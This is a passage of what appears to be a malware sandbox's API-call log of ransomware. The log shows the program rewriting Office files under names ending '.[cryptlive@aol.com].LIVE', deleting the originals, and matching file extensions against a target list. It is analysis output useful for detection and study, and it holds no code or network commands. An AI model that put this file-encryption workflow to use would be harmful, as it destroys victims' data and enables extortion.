(normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0158.578] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.578] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0158.579] GetLastError () returned 0x0 [0158.579] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0158.843] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0158.844] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.844] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0158.844] SetEndOfFile (hFile=0x1b4) returned 1 [0158.844] CloseHandle (hObject=0x1b4) returned 1 [0158.844] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.844] SetEndOfFile (hFile=0x3b4) returned 1 [0158.846] CloseHandle (hObject=0x3b4) returned 1 [0158.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\postl.ico")) returned 1 [0159.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.000] lstrlenW (lpString=".doc") returned 4 [0159.000] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.001] lstrlenW (lpString=".docx") returned 5 [0159.001] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.001] lstrlenW (lpString=".pdf") returned 4 [0159.001] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString=".xls") returned 4 [0159.001] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString=".xlsx") returned 5 [0159.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.001] lstrlenW (lpString=".ppt") returned 4 [0159.001] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString=".zip") returned 4 [0159.001] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString=".rar") returned 4 [0159.001] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString=".bz2") returned 4 [0159.001] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.001] lstrlenW (lpString=".7z") returned 3 [0159.001] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString=".dbf") returned 4 [0159.001] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString=".1cd") returned 4 [0159.001] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString=".jpg") returned 4 [0159.001] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.001] lstrlenW (lpString=".doc") returned 4 [0159.001] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.001] lstrlenW (lpString=".docx") returned 5 [0159.001] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.002] lstrlenW (lpString=".pdf") returned 4 [0159.002] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.002] lstrlenW (lpString=".xls") returned 4 [0159.002] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.002] lstrlenW (lpString=".xlsx") returned 5 [0159.002] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.002] lstrlenW (lpString=".ppt") returned 4 [0159.002] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.002] lstrlenW (lpString=".zip") returned 4 [0159.002] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.002] lstrlenW (lpString=".rar") returned 4 [0159.002] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.002] lstrlenW (lpString=".bz2") returned 4 [0159.002] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.002] lstrlenW (lpString=".7z") returned 3 [0159.002] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.002] lstrlenW (lpString=".dbf") returned 4 [0159.002] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.002] lstrlenW (lpString=".1cd") returned 4 [0159.002] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTL.ICO") returned 63 [0159.002] lstrlenW (lpString=".jpg") returned 4 [0159.002] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.002] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0159.002] lstrlenW (lpString="REPORT.CFG") returned 10 [0159.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.003] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=781) returned 1 [0159.003] CloseHandle (hObject=0x1b4) returned 1 [0159.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 0x20 [0159.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.004] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.004] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.005] GetLastError () returned 0x0 [0159.005] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x30d, lpOverlapped=0x0) returned 1 [0159.050] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x310, lpOverlapped=0x0) returned 1 [0159.051] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.051] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0159.051] SetEndOfFile (hFile=0x1fc) returned 1 [0159.052] CloseHandle (hObject=0x1fc) returned 1 [0159.052] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.052] SetEndOfFile (hFile=0x1b4) returned 1 [0159.055] CloseHandle (hObject=0x1b4) returned 1 [0159.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg")) returned 1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.056] lstrlenW (lpString=".doc") returned 4 [0159.056] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.056] lstrlenW (lpString=".docx") returned 5 [0159.056] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0159.056] lstrlenW (lpString=".pdf") returned 4 [0159.056] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.056] lstrlenW (lpString=".xls") returned 4 [0159.056] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.056] lstrlenW (lpString=".xlsx") returned 5 [0159.056] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0159.057] lstrlenW (lpString=".ppt") returned 4 [0159.057] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString=".zip") returned 4 [0159.057] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString=".rar") returned 4 [0159.057] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString=".bz2") returned 4 [0159.057] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.057] lstrlenW (lpString=".7z") returned 3 [0159.057] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString=".dbf") returned 4 [0159.057] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString=".1cd") returned 4 [0159.057] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString=".jpg") returned 4 [0159.057] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.057] lstrlenW (lpString=".doc") returned 4 [0159.057] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString=".docx") returned 5 [0159.057] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0159.057] lstrlenW (lpString=".pdf") returned 4 [0159.057] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString=".xls") returned 4 [0159.057] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString=".xlsx") returned 5 [0159.057] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0159.057] lstrlenW (lpString=".ppt") returned 4 [0159.057] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.058] lstrlenW (lpString=".zip") returned 4 [0159.058] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.058] lstrlenW (lpString=".rar") returned 4 [0159.058] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.058] lstrlenW (lpString=".bz2") returned 4 [0159.058] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.058] lstrlenW (lpString=".7z") returned 3 [0159.058] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.058] lstrlenW (lpString=".dbf") returned 4 [0159.058] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.058] lstrlenW (lpString=".1cd") returned 4 [0159.058] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG") returned 64 [0159.058] lstrlenW (lpString=".jpg") returned 4 [0159.058] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.058] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.058] lstrlenW (lpString="REPORTL.ICO") returned 11 [0159.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.059] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0159.059] CloseHandle (hObject=0x1b4) returned 1 [0159.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 0x20 [0159.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.060] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.060] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.061] GetLastError () returned 0x0 [0159.061] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0159.091] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0159.092] ReadFile (in: hFile=0x1b4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.092] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0159.092] SetEndOfFile (hFile=0x1fc) returned 1 [0159.092] CloseHandle (hObject=0x1fc) returned 1 [0159.092] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.093] SetEndOfFile (hFile=0x1b4) returned 1 [0159.095] CloseHandle (hObject=0x1b4) returned 1 [0159.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 1 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.514] lstrlenW (lpString=".doc") returned 4 [0159.514] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.514] lstrlenW (lpString=".docx") returned 5 [0159.514] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.514] lstrlenW (lpString=".pdf") returned 4 [0159.514] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.514] lstrlenW (lpString=".xls") returned 4 [0159.514] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.514] lstrlenW (lpString=".xlsx") returned 5 [0159.514] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.514] lstrlenW (lpString=".ppt") returned 4 [0159.514] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.514] lstrlenW (lpString=".zip") returned 4 [0159.515] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".rar") returned 4 [0159.515] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".bz2") returned 4 [0159.515] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.515] lstrlenW (lpString=".7z") returned 3 [0159.515] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString=".dbf") returned 4 [0159.515] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString=".1cd") returned 4 [0159.515] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString=".jpg") returned 4 [0159.515] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString=".doc") returned 4 [0159.515] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.515] lstrlenW (lpString=".docx") returned 5 [0159.515] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.515] lstrlenW (lpString=".pdf") returned 4 [0159.515] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".xls") returned 4 [0159.515] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".xlsx") returned 5 [0159.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.515] lstrlenW (lpString=".ppt") returned 4 [0159.515] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.515] lstrlenW (lpString=".zip") returned 4 [0159.515] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".rar") returned 4 [0159.515] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.515] lstrlenW (lpString=".bz2") returned 4 [0159.516] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.516] lstrlenW (lpString=".7z") returned 3 [0159.516] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.516] lstrlenW (lpString=".dbf") returned 4 [0159.516] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.516] lstrlenW (lpString=".1cd") returned 4 [0159.516] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0159.516] lstrlenW (lpString=".jpg") returned 4 [0159.516] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.516] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0159.516] lstrlenW (lpString="RSSITEM.CFG") returned 11 [0159.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0159.571] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=788) returned 1 [0159.571] CloseHandle (hObject=0x3b4) returned 1 [0159.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg")) returned 0x20 [0159.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.589] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.590] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.590] CreateFileW 